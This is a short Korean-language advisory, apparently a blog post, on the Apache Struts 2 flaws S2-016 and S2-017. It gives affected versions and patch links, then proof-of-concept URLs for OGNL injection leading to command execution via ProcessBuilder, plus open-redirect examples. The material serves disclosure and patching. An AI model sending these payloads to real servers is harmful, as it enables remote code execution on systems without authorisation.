Apache Structs 취약점이란?

Apache Structs :

Java EE 웹 애플리케이션을 개발하기 위한 오픈소스 프레임워크로

Apache, WebToBe, iPlanet, WebLogic, WebSphere, TomCat 등Java 기반 모든 웹/WAS 서버에서 발생 가능함

보안취약 대상 :

Apache Struts 2.0.0 ~ Sturts 2.3.15

패치 다운로드 :

http://struts.apache.org/download.cgi#struts 23151

아파치 웹 공식 사이트 해결방안

S2-016: http://struts.apache.org/release/2.3.x/docs/s2-016.html

S2-017: http://struts.apache.org/release/2.3.x/docs/s2-017.html

PoC

- Simple Expression - the parameter names are evaluated as OGNL.
        http://host/struts2-blank/example/X.action?action:%25{3*4}
        http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

- Command Execution
        http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
        http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
        http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23